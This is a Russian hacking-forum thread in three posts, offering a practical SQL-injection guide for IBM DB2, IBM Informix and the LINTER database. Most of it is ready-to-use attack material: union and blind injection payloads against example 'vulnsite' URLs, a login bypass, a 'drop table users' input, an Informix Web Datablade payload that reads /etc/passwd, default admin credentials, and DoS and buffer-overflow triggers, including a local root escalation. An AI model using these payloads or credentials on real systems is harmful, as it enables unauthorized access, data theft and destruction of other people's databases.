Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 12.12.2010, 17:31   #1
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию IBM DB2, IBM Informix, ЛИНТЕР [Редковстречающиеся СУБД]

Intro-> Буду краток: рассмотрим здесь особенности СУБД, которые попадаются на глаза довольно редко. Я расскажу о 3х из них: IBM DB2, IBM Informix и ЛИНТЕР.
Также в приложении можно обнаружить эксплоиты к ним и подобранную информацию о таких субд как Apache CouchDB, Berkeley DB, CUBRID, H2, InterSystems Cache и mSQL + дампер.
Если есть какие-то добавления - отписывайтесь)
Начнём..


<=======>
IBM DB2
<=======>

DB2 - реляционная СУБД от IBM, распространяемая для различных платформ (linux, win, mac, solaris, os/2 и т.д.), начала свою историю в 1975 году (название получено в '82). К особенностям можно отнести:
Код:
1\ диалект SQL, почти всегда определяющий декларативный смысл языковых конструкций, мощный многофразовый оптимизатор для эффективности 
   выполнения запроса (при всём этом является вычислительно полным);
2\ практически нет подсказок оптимизатору;
3\ мало развиты и не широко применяются хранимые процедуры (пишутся на C, Java, COBOL и тд);
4\ поддержка subselects, union, но не позволяет использовать множественные конструкции;
5\ большое внимание уделено безопасности, например, имеются отдельные роли для админа субд и админа бд;
6\ строгое отношение к типам данных;
Стоит почитать "Securing IBM DB2" (есть в приложении), чтобы понять, "какого же х.. фига у меня нет прав", там ясно описан процесс защиты субд от посягательств, путём разграничения прав для компонентов. В ней же описано (неслучайно), что неплохо бы закрывать порты 523, 50000-5000 и UDP, т.к. наш "любимый" DB2 можно часто обнаружить на 523 udp порту.

В ошибке выдаёт что-то вроде:
Код:
	MDB2 Error: ...
	_doQuery: [Error message: Could not execute statement] 
	[Last executed query:...
Гуглить, следовательно, можно так "intext:"MDB2 Error""

В проведении инъекции ничего необычного нет, за исключением проблем с правами на доступ к системным таблицам; окончание запроса "--", но "/**/" тоже прокатывал.
Код:
1\ нашли, подбираем колонки order by'ем, если неправильное количество, то может выдавать "MDB2 Error: no such field" или "Native message: ERROR: ORDER BY position 100 is not in select list";
2\ допустим их 5, запрос будет вида "..+union+select+null,null,null,null,null; --"
3\ меняя null'ы на цифры, определяем вывод колонки "..+union+select+null,null,666,null,null; --"
4\ тянем информацию (ну если уж позволено) "..union+select+null,null,name,null,null+from+sysibm.systables; --"
"..+union+select+null,null,name||char(58,58)||tbname||char(58,58)||coltype,null,null+from+sysibm.syscolumns; --"
Встречается в связке с MySQL, в этом случае вывод в ошибку вам в помощь, работает на отлично)

=============================
Стандартные связки логин\пасс
=============================

Код:
db2admin - db2admin
db2as - ibmdb2
dlfm - ibmdb2
db2instN (где N - число, начиная с 1) - ibmdb2
db2fencN - ibmdb2
Ну и ещё немного системных юзеров: db2dart, db2licm, db2start, db2ckpwd
=====================
Системные бд, таблицы
=====================

Код:
syscat.dbauth
       tabauth
       indexauth
       colauth
       schemaauth
       passthruauth
       tables (таблицы)
       columns (колонки)
dba.users
sysibm.systables (все таблицы)
       syscolumns (все колонки)
       sysversions
       SYSTABLETYPES
=======
Функции
=======

Код:
substr() - извлекает часть символьной строки (substr('xyz',2,1)='y')
char(строка) - из ascii в чар-представление (..+and+char(58,58)='::'--)
ascii(строка) - из char в аски
cast(строка as тип_данных) - конверт между разными типами данных
if(выражение,если_верно,если_неверно) - условие "если"
length(строка) - возвращает длину строки
max(), min() - соответственно большее и меньшее значение
not in() - аналогично с MSSQL (...+and+5+not+in('1','2')--)
----
Конкатенация производится либо concat'ом:
Код:
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; --
либо "||"
Код:
select 'a' || 'b' from sysibm.sysdummy1; --
----
Сравнение производится либо знаками =, !=, < и тп или применяя like/not like
----
Hex работает
так что не удивляйтесь, если 0x51 будет безошибочно равно 0x51 =)

=====================
Собственно примерчики
=====================

Вывод версии:
Код:
select versionnumber,version_timestamp from sysibm.sysversions; --
Пользователь:
Код:
select user from sysibm.sysdummy1; --
select session_user from sysibm.sysdummy1; --
select system_user from sysibm.sysdummy1; --
Права:
Код:
select grantee from syscat.dbauth; --
select * from syscat.tabauth; --
select * from syscat.dbauth where grantee = current user; --
select * from syscat.tabauth where grantee = current user; --
Для БД:
-------
текущая
Код:
select current server from sysibm.sysdummy1; --
все бд
Код:
select schemaname from syscat.schemata; --
таблицы
Код:
select name from sysibm.systables; --
select tabname from syscat.tables where 'a'='a' --
SELECT NAME from SYSIBM.SYSTABLES where CREATOR = USER --
вывод N-ной записи
Код:
select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; --
колонки
Код:
select name, tbname, coltype from sysibm.syscolumns; --
select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = 'имя_бд' and TBNAME='имя_таблицы' --
удаление

Код:
при вводе в форму авторизации -> hell0; drop table users; --
для функций
Код:
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;  --
select chr(65) from sysibm.sysdummy1; --
select ascii('A') from sysibm.sysdummy1; --
SELECT cast('123' as integer) FROM sysibm.sysdummy1; --
SELECT cast(1 as char) FROM sysibm.sysdummy1; --
http://www.vulnsite.com/sc.php+and+if('a'='a',1,0)=1; --
Приведение типа и связывание найденных данных.
----------------------------------------------
Оригинальный запрос:
Код:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';
Изменённый:
Код:
http://www.vulnsite.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'||passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25

=====================
Скрипты авторизации..
=====================

Если включены ошибки, и есть соответсвующая уязвимость, то..:
Код:
есть запрос 
select * from applogin where name = 'username’ and password = 'password’;

1.1\ вместо username'а впихиваем
     ' or 1=1 --
     и вот они мы залогиненные)
2.1\ далее получаем имена колонок
     ' group by 1 —-
     выведет например
     "An expression starting with "NAME" specified in a SELECT clause..."
2.2\ ' group by name --
     выведет
     "An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause..."
     ну и так далее в этом духе
2.3\ узнаем таблицу из запроса
     ' or' --
     получаем
     "An unexpected token "from applogin where name = '' OR" was found..."
     Стоит заметить, что вместо " ' or' -- " можно использовать 
     'Badvalue
     ' or '
     ' or
     ;
     9,9,9
3.1\ вывод данных
     В ошибку то они выводятся, НО: есть, допустим, у нас переменная name, отображаемая на странице, 
     тогда мы можем сделать следующее (подставляем вместо имени пользователя)
     ' union all select concat(name,password) as name ,'a','a','a' from applogin where name > 'c';
     и (о чудо !!!1) рядом с именем пользователя (которое в данном случае >'c') мы видим связку логин-пасс
===================
Blind SQL Injection
===================

Кстати говоря, блайнд может чем-то даже удобнее: не надо подбирать ничего, нет возни с типами данных.
Получение длины имени таблицы:
Код:
and length((SELECT NAME from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=16 --
Получение первой буквы из названия таблицы:
Код:
and ASCII((SELECT (SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=65 --
Номер колонки:
Код:
and (select max(COLNo) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO')=2 --
Длина имени колонки:
Код:
and length((select COLNAME from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=6 --
Ну и само имя:
Код:
AND ASCII((SELECT (SUBSTR(COLNAME,1,1)) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=82 --
Вывод длины получаемых данных:
Код:
AND length((SELECT DEP_NAME FROM AA_PREP_HR_DEP_INFO where rec_no=1))=6 --
Данные:
Код:
AND ascii((SELECT (SUBSTR(DEP_NAME,1,1)) FROM AA_PREP_HR_DEP_INFO where rec_no=1))=215 --

=======
DoS >
=======

Код:
1\ В Query Compiler'е существовал баг, позволявший провести DoS-атаку, используя select case:
   select case when exists (select * from local_tab1 except select * from local_tab2) then 1 else 0 end from (values 1) as x
Не требует особых привилегий для бд, пофиксили в версии 7.2+фикспак 7

2\ Date/Varchar Denial of Service
   Обработка ошибок функции year() собственно и вызывает такую реакцию:
   select * from employee where year(birthdate)=1999 and firstname <"
Не требует особых привилегий, пофикшено в 6.1+фикспак 8 и 7.2+фикспак 3

3\ Возвращаясь к сервису на 523 удп порту:
   Используется конфигуратором клиента и обычно получает пакеты типа "DB2GETADDR SQL07020"... 
   ..а вот если он получает пакет длиной больше 20байт, то.. (ну вы понеле)
Пофикшено в версии 7.2+фикспак 10a
====================
Переполнение буфера
====================

Код:
1\ При наличии системного акка, можно вызвать переполнение и получить root-права для любого локального пользователя unix, эксплоит присутствует в архиве
   overflow -> /db2as/sqllib/adm/db2dart 'perl -e 'print "A"x1287''
Закрыто в 7.2+фикспак 10a

2\ Overflow в load'е и invoke
   Вызывается в DB2 Command Centre или DB2 Command Line Processor слишком длинной строкой, при наличии id в бд, особые привилегии не нужны.
   Подключаемся и "load from testAAAAAA[и тд]"
   С invoke похожая ситуация, условия те же (вот тока существует сплоит)
   invoke vwploadr.exe\AAAAAA[и тд]
Закрыто в 7.2+фикспак 10a

3\ JDBC Applet Server and Control Center
   Находится на портах 6789 или 6790, при посылке большого пакета есть возможность захвата управления над клиентом и удалённым управлением бд.
Пофиксили в 6.1+фикспак 10 и 7.2+фикспак 4

4\ Пакет подключения:
   Если в нём изменены случайные байты, то это может вызвать падение сервиса.
   Если послать на 523 порт длинный пакет, то это может вызвать перезапись админского конфига в памяти
Пофиксили в 8.1+фикспак 3, но НЕ закрыли в 7.2+фикспак 10a
aka_zver вне форума   Ответить с цитированием
Старый 12.12.2010, 17:31   #2
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

<============>
IBM Informix
<============>

Продолжая говорить о продуктах IBM, коснёмся Информикс, который считают флагманом среди их субд, уходящий корнями в 1980 год. Предназначена для онлайновой обработки транзакций и используется как субд для нтегрированных решений. В настоящее время развивается раздельно с ДБ2 и позиционируется как мощное OLTP-решение, тогда как DB2 занимает нишу хранилищ данных. Не так давно, в октябре, вышла версия "11.70 Panther" для всех основных платформ. Обитает на портах 9088 и 9099. Строг к типам данных, юзаем конверт. Комментарий так же "--".

Ошибки выглядят как-то так:
Код:
"OLSOCSPX - Native Error = -25580
Error Message = [Informix][Informix ODBC Driver][Informix]System error..."
или
Код:
"[Informix][Informix ODBC Driver][Informix]Corresponding column types must be
compatible for each UNION statement."

============
Системное...
============

Код:
sysmaster
sysadmin
sysuser
sysutils
sysprocauth

systables
sysusers
systabauth
sysprocedures
syscolumns
============
Аналогично..
============

Код:
...
...
substring() - no comments)
bitand() - оно же "bitwise and" -> "select bitand(6, 2)..." вернёт 2
bitval() - выражает строковые данные числами, как-то так

Помимо cast(ololo+as+integer) можно юзать "::"

Конкатенация выглядит так:
--------------------------
1\ либо 'A'||'B'
2\ либо concat('A','B')
оба варианта одинаковы и равны 'AB'
=======
Тянем..
=======

Версия:
Код:
...about.cmf?var=-1+select+dbinfo('version','full')+from+systables+where+tabid=1;
...about.cmf?var=-1+select+dbinfo('version','server-type')+from+systables+where+tabid=1;
...about.cmf?var=-1+select+dbinfo('version', 'major'),dbinfo('version','minor'),dbinfo('version', 'level')+from+systables+where+tabid=1;
ОС можно распознать по выводу:
T=Windows, U=32-bit Unix, H=64-bit Unix (приложение 32-bit), F=64-bit Unix(приложение 64-bit).

Пользователи:
-------------
текущий:
Код:
about.cmf?var=-1+select+user+from+systables+where+tabid=1;
about.cmf?var=-1+select+current_role=from+systables+where+tabid=1;
все:
Код:
http://site.com/about.cmf?var=-1+select+username,usertype,password+from+sysusers;
права:
1\ на доступ к таблицам
Код:
about.cmf?var=-1+select+tabname,grantor,grantee,tabauth+from+systabauth+join+systables+on+systables.tabid=systabauth.tabid;
2\ на запуск процессов, команд
Код:
about.cmf?var=-1+select+procname,owner,grantor,grantee+from+sysprocauth+join+sysprocedures+on+sysprocauth.procid=sysprocedures.procid;
БД:
---
текущая:
Код:
about.cmf?var=-1+select+dbservername+from+systables+where+tabid=1;
все:
Код:
about.cmf?var=-1+select+name,owner+from+sysdatabases;
таблицы:
Код:
about.cmf?var=-1+select+tabname,owner+from+systables;
about.cmf?var=-1+select+tabname,viewtext+from+sysviews+join+systables+on+systables.tabid=sysviews.tabid;
N-ная табличка:
Код:
select first 1 tabid from (select first N tabid from systables order by tabid) as sq order by tabid desc; --
поиск таблиц по колонкам:
Код:
about.cmf?var=-1+select+tabname,colname,owner,coltype+from+syscolumns+join+systables+on+syscolumns.tabid=systables.tabid+where+colname+like+'%pass%';
колонки:
Код:
about.cmf?var=-1+select+tabname,colname,owner,coltype+from+syscolumns+join+systables+on+syscolumns.tabid=systables.tabid;
процедуры:
Код:
about.cmf?var=-1+select+procname,owner+from+sysprocedures;
IP сервера:
Код:
about.cmf?var=-1+select+dbinfo('dbhostname')+from+systables+where+tabid=1;
Функции и т.д..

Код:
SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; --
select bitand(6, 2) from systables where tabid = 1; --
select tabid, case when tabid>10 then "High" else 'Low' end from systables;
=======
Вслепую
=======

Это "нечто", но всё же:
Numeric
-------

Код:
+ (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",
125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\",92,".",46,"?",63,"-",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71," ",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",
110,"o",111,"p",112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then 1 else (1/bitval(2,1)) end from sysmaster:informix.systables)-1
String data
-----------

Код:
' || (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"-",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,
"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,
"o",111,"p",112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then '\xFC' else (1/bitval(2,1))::char end from sysmaster:informix.systables) ||'
===========================================
Informix Web Datablade - Внедрение SQL кода
===========================================

Собственно, можно выполнить любой SQL запрос с помощью любой страницы, если они обрабатываются web datablade'ом версий 4.10-4.13 (+ версия Информикса 9.20-9.21, работающая на Linux 2.2/2.4 или SunOS 5.7), может потребоваться аутентификация.

Выглядит так:
Код:
http://vulnsite.com/path/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html
Всё так оборачивается из-за недостаточной фильтрации при выполнении им запроса.

Стандартно:
Код:
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='page' AND path='/' AND req_level <= 100;
А после нашего кода:
Код:
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='' AND path='/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --' and req_level <= 100;
Первая часть запроса ничего не вернёт, т.к. http://vulnsite.com/path/.html не существует, а вот вторая прочтёт "/etc/passwd".

Ещё вариация на эту тему, позволяющая использовать также INSERT, UPDATE, DROP, CREATE и тд, состоит из хтмл и sql кода, пересылается POST'ом:
Код:
POST /site/ HTTP/1.0 
Content-Length: 215 
Content-Type: application/x-www-form-urlencoded 
MIval=/'UNION SELECT webexplode('<html><body><table><?MISQL SQL="SELECT * FROM wbusers"><tr>{<td>$*</td>}</tr><?/MISQL></table></body></html>',''),0 FROM sysusers 
WHERE username=USER--/.html
aka_zver вне форума   Ответить с цитированием
Старый 12.12.2010, 17:32   #3
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

<============>
ЛИНТЕР
<============>

ЛИНТЕР — российская субд (название появилось в 1990 году), реализующая стандарт SQL-92, Огромное количество поддерживаемых ОС от WinCE до AIX и True64. Поддерживаются платформы Intel, Motorola, MIPS, Sun Sparc, Alpha, PowerPC, HP PA-Risc, ARM, RM. Горячее резервирование, репликация (в т.ч. с другими СУБД) и т.д. ЛИНТЕР - не есть открытая разработка, это лицензионно чистая отечественная СУБД. Исходные коды закрыты по понятным причинам. Её история насчитывает уже 20 лет. С 1997 г. в рамках проектов МО РФ, ЗАО НПП "РЕЛЭКС" проводит работы по созданию специализированных версий СУБД ЛИНТЕР с поддержкой функций информационной безопасности. Например Линтер-ВС 6.0 - сертифицированная ГТК при Президенте РФ на соответствие 2-му классу защиты информации от НСД, свободно не распространяется. Система Линтер-ВС 6.0 была разработана специалистами Релэкса на базе коммерческой версии СУБД ЛИНТЕР 5.7 образца 1999 года в сооветствии с требованиями, предъявляемыми МО РФ. Тем не менее, эти системы заметно отличаются друг от друга - в Линтер-ВС не входят некоторые компоненты, предназначенные для обеспечения совместимости с другими системами и языками программирования. Коммерческие версии обладают более продвинутыми возможностями как по функционалу, так и по интерфейсам, имеют сертификаты ГТК.
"Действительно, распределённая АС УГИББД по Воронежской области работает на ЛИНТЕР. База приличных размеров (около 10 гигов). Есть базы больше. На ЛИНТЕР реализовано много интересных проектов. Например системы реального времени повышенной надёжности, авиационные диспетчерские (Хабаровске, Пулково, международный аэропорт Минска), система внутриреакторного контроля ВВЭР (разработка РНЦ Курчатовский институт)." (с) http://www.sql.ru/
Запросы идут через специальное ядро безопасности, подробнее у них на оф. сайте или в приложении к статье.
Система защиты информации в СУБД ЛИНТЕР реализуется с помощью 2-х подсистем: управления доступа к информации и поддержания высокой готовности данных + подсистема управления доступа к информации включает большое число модулей. Используемые программные интерфейсы: ODBC 3.х, JDBC (1,2,3), DBExpress, Embedded SQL, OLEDB, PERL, PERL/DBI, TCL/TK, PHP, Python, OCI, ADO.NET. Порт по умолчанию 1060.

Подзапросы select в select не пройдут.
Запросы с внешними ссылками типа
Код:
select ... from A, .... where ... in (select ... from B ... where B.x = A.x)
прекрасно работают.
Конвертирование между типами данных посредством cast(smth as type)

И да, не надо нигде регаться, чтобы скачать, есть ведь ftp://ftp.relex.ru/
Подкину ещё http://citforum.vision.am/database/linter/overview/

В SQL СУБД ЛИНТЕР реализованы:
Код:
1\ предложение UNION;
2\ полный набор операций соединения JOIN;
3\ все спецификации по описанию ограничений целостности;
4\ для совместимости с некоторыми известными СУБД (Oracle, DB2, Informix, Microsoft SQL Server и др.) в язык SQL введено множество встроенных функций;
5\ конструкции по управлению контролем доступа к информации;
6\ иерархические запросы к таблице и т.д.
Расширения стандарта включают:
Код:
1\ конструкции для работы с BLOB-столбцами;
2\ конструкции для работы с внешними файлами;
3\ введены последовательности, совместимые с СУБД Oracle;
4\ разрешено горячее тестирование таблицы, т.е. предложение TEST TABLE <имя> ;
5\ разрешено горячее архивирование объектов БД;
6\ разрешено использование нескольких таблиц во FROM в операциях UPDATE и DELETE, например:
   DELETE FROM таблица JOIN список _ таблиц WHERE ...
   UPDATE таблица JOIN список _ таблиц WHERE ...
7\ разрешена конструкция INTO в SELECT-операторе для совместимости с некоторыми диалектами языка SQL, например:
   SELECT список_выражений INTO список_параметров FROM ... 
8\ разрешена конструкция CAST NULL AS <тип> ;
9\ разнообразные возможности ALTER TABLE по модификации структуры таблицы – от изменения имен (таблицы, её столбцов) до изменений важнейших характеристик самой 
   таблицы и её столбцов (например, размеров, числа файлов, места их расположения, а для столбцов - длины данных, значений по умолчанию и т.д.);
10\ конструкции для полнотекстового поиска и т.д.
====================
Системный логин\пасс
====================

SYSTEM : MANAGER
Всё большими буквами (регистрозависимо)

===============
Получаем инфу..
===============

Версия:
-------

Специальной функции для извлечения версии бд, совпадающей с первыми двумя цифрами номера версии СУБД, раньше не было, но можно было извлечь из системных таблиц так:
Код:
select cast(getbyte($$$s14,65) as char(1))+'.'+cast(getbyte($$$s14,66) as char(1)) from $$$sysrl where rowid=1;
или
...where "$$$S11" = 0;
Кроме того, в некоторых интерфейсах (например, LINAPI) есть функции получения версии БД. Также можно узнать номер версии СУБД ЛИНТЕР, запустив ядро (linter или linternt.exe) с ключом -version.
Сейчас должна быть функция LINTER_VERSION.

Есть стандартные USER, SYSDATE.
Также существует SESSIONID и системная таблица $$$chan. В ней вся информация об открытых каналах. Адрес клиента можно получить следующим запросом:
Код:
select NETWORK_ADDRESS from linter_system_user.$$$chan where "SESSIONID" in (select SESSIONID);
=========================================
Приложение к статье: http://radiative.org/rfiles/pril.zip
aka_zver вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot